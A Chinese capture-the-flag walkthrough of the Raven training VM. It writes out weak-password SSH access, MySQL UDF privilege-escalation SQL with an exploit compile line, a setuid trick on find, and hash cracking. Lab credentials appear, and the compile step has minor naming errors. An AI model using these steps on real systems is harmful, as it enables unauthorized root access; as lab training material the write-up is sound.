美文网首页
Raven靶机:Hacking Writeup

Raven靶机:Hacking Writeup

作者: N8_xEnn7nA1 | 来源:发表于2019-10-13 00:04 被阅读0次

    Raven 是一个初/中级的渗透靶机。该靶机有两种获取 root 的方法。

    方法一:

    1. IP发现和端口扫描
    2. 80 端口和 WordPress CMS 的发现
    3. 扫描 WordPress,发现两个系统用户
    4. ssh 弱密码尝试爆破
    5. 使用 LinEnum.sh 脚本枚举 Linux 活动进程
    6. 发现 MySQL
    7. 通过 WordPress 目录下的 wp-config.php 文件,获取数据库的用户名和密码
    8. 使用 MySQL 创建一个 UDF (用户定义函数) 动态库
    9. 将 mysql udf 的 exploit 编译成共享库(.so)
    10. 在靶机上运行 UDF 库程序
    11. 给 find 命令设置 sticky 位
    12. 获取 root 权限
    13. 获取 flag

    先来看方法一

    使用 netdiscover 来发现网络上的存活设备,并获取靶机的 IP 地址,在本例中,靶机的 IP 地址为:192.168.166.199

    • netdiscover -i eth0
    image.png image.png

    使用 nmap 对靶机进行扫描,可以看到靶机打开了3个端口:22、80和111

    • nmap -A 192.168.166.199
    image.png

    于是我们把目光放到 80 端口,可以看到一个 Raven Security 的网站。

    image.png

    可以在右上角 SERVICE 菜单的页面源码中,找到 flag1。

    image.png

    右上角 BLOG 菜单,点击跳转后,会发现是 WordPress 系统。
    于是使用 WPScan 进行扫描,看能枚举出什么有用的信息。

    image.png image.png

    发现靶机上的两个用户名:steven 和 michael
    使用弱口令 michael/michael 尝试登陆ssh,可成功登录。

    image.png

    接着,我们把工作目录切换到 /tmp ,下载 LinEnum.sh 脚本,它可以枚举 Linux 系统各种信息。
    这里我已将该脚本下载在了我本机,本机通过 Python 来开启简单的 http 服务,从而可以在靶机上下载该脚本。

    image.png image.png

    运行该脚本,可看到 MySQL服务正在运行:

    image.png image.png

    我们可以利用 MySQL UDF 进行提权。更多信息见:https://legalhackers.com/advisories/mysql-exploit-remote-root-code-execution-privesc-cve-2016-6662.html

    使用 searchsploit 从 exploit-db 中搜索相关的 exploit :

    • searchsploit mysql udf
    image.png

    这里选择 1518.c 进行下载:

    • searchsploit -m 1518.c
    image.png

    查看 1518.c 可看到使用说明:

    image.png

    我们先进入 /var/www/html/wordpress 目录中搜索 wp-config.php 文件,因为该文件中记录着 MySQL 的用户名/密码,可看到:root/R@v3nSecurity

    image.png

    然后,再将 1518.c 编译成共享库:

    • gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

    编译后生成 1518.so,并将它下载到靶机中: /tmp/1518.so

    接着,使用得到的 MySQL root密码,进入 MySQL shell:

    image.png

    依次执行如下语句:

    create table foo(line blob); #创建一个表,名为 foo。
    insert into foo values(load_file('/tmp/1518.so')); #将 1518.so 导入 foo 表。
    select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so'; #将1518.so转储到 /usr/lib/mysql/plugin 目录中。
    create function do_system returns integer soname '1518.so'; #最重要的一步,创建一个名为 do_system 的 UDF 函数,它将调用实现该函数的代码。
    select do_system('chmod u+s /usr/bin/find'); #调用do_system() 函数,执行chmod 命令,对 /usr/bin/find 设置 sticky 位

    • 要说明一下,这种方式能成功提权的前提是 MySQL 服务是以 root 权限去启动的,所以 UDF 函数执行的代码也是以 root 权限去执行的。

    此时,回到 /tmp 目录,使用 find 命令:

    image.png

    得到 flag2、flag4

    image.png

    至于 flag3,则是在 mysql 的 wordpress 库的 wp_posts 表中:

    image.png image.png

    方法二:

    1. 在方法一一样,使用同样的方法得到靶机的 shell,以及进入 MySQL shell
    2. 在 MySQL shell中,可查看所有的数据库和表
    3. 从数据库 wordpress 中读取 wp_users 表
    4. 获取用户的密码 hash
    5. 破解其他用户的密码,并得到对应的 shell(因为已得到 michael 的密码)
    6. 发现 steven 运行 Python 不需要 root 权限 (使用 sudo -l 查看可知)
    7. 使用 Python pty模块生成 root TTY
    8. 获取 flag

    来看方法二

    查看数据库 wordpress 中的 wp_users 表,可看到密码 hash


    image.png

    将 steven 用户的密码 hash 转存到文本文件,并使用 John the Ripper 进行破解,得到密码:pink84

    image.png

    也可以使用在线破解站点进行破解:

    image.png

    还可以直接对 /etc/shadow 文件中 steven 用户的密码 hash 进行破解:

    image.png image.png

    得到密码后,切换到 steven 用户:

    image.png

    执行 sudo -l, 可以看到 steven 用户可以使用 sudo 以 root 权限执行 Python 程序且无需输入 root 密码:

    image.png

    因此可使用Python 的 pty 模块,获取 root TTY:

    image.png

    相关文章

      网友评论

          本文标题:Raven靶机:Hacking Writeup

          本文链接:https://www.haomeiwen.com/subject/cijqmctx.html